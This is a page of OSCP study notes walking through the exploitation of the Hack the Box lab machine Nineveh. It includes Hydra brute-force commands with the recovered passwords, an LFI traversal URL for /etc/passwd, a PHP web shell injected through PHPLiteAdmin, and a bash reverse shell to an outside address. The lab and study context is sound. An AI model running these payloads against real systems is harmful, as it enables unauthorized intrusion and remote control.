📗
OSCP Prep
  • OSCP Preperation
  • Hack the Box Linux
    • Bashed
    • Nibbles
    • Sense
    • Conceal
    • La Casa de Papel
    • Lightweight
    • Jerry
      • Scanning and Enumeration
    • Jarvis
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lesson's Learned
    • TartarSauce
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Poison
      • Turning LFI into RFI
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Node(Comeback to)
      • Scanning and Enumeration
      • Exploitation
    • SolidState
      • Scanning and Enumeration
      • Exploitation and POSTY
      • Lessons Learned
    • Nineveh
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons learned
    • Cronos
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • SwagShop
      • Scanning and Enumeration
      • Exploitation
      • Lessons Learned
    • Networked
      • Exploitation
    • FriendZoned
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons learned
    • Sunday
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Valentine
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Irked
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Kotarak
    • Nibbles
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
  • Hack the Box Windows
    • Bounty
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
    • Blue
      • Scanning and Enumeration
      • Lessons Learned
    • Granny
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Grandpa
      • Scanning and Enumeration
      • Exploitation
      • Lessons Learned
    • Arctic
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Optimum
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Devel
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
    • Legacy (comeback to )
      • Scanning and Enumeration
      • Exploitation
  • Slick Tricks
    • Banned by Bruteforce? Try this!
    • Hydra for Web Logins
    • Grepping
    • Redirecting all Script Traffic to Burp
    • Word Count
    • Reverse Shell Tricks
    • Transfering files
  • Nmap Help
  • Linux Guide
    • Linux Shortcuts
  • Privelege Escalation
    • Linux Privilege Escalation
Powered by GitBook
On this page
  • Hydra
  • HTTP /department/login.php
  • HTTPS /db/index.php
  • PHP Exploit
  • Exploiting LFI and PHP
  • Checking for LFI vulnerability
  • Executing code via PHP for Shell

Was this helpful?

  1. Hack the Box Linux
  2. Nineveh

Exploitation

Exploitation on this machine is going to require hydra and steg to gain a reverse shell

PreviousScanning and EnumerationNextPost Exploitation

Last updated 4 years ago

Was this helpful?

Hydra

HTTP /department/login.php

hydra -l admin -P /usr/share/seclists/Passwords/probable-v2-top12000.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid" -t 64

  • username = admin

  • password = 1q2w3e4r5t

HTTPS /db/index.php

hydra -l admin -P /usr/share/seclists/Passwords/probable-v2-top12000.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect" -t 64

  • username = admin

  • password = password123

PHP Exploit

With the following exploit an attacker can create a sqlite database with a php extension and insert php code as text fileds. When done , the attacker can execute it by accessing the database file usin a browser.

Exploiting LFI and PHP

Checking for LFI vulnerability

http://nineveh.htb/department/manage.php?notes=files/ninevehNotes/../../../../../../etc/passwd

Executing code via PHP for Shell

In the Create New Database section, create a new database called random.php. Then click on random.php in the Change Database section. 

<?php echo system($_REQUEST ["cmd"]); ?>

Back in our LFI vulnerable page

http://nineveh.htb/department/manage.php?notes=files/ninevehNotes/../../../../../../var/tmp/random.php&cmd=ls
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.34/1234 0>&1'

LogoPHPLiteAdmin 1.9.3 - Remote PHP Code InjectionExploit Database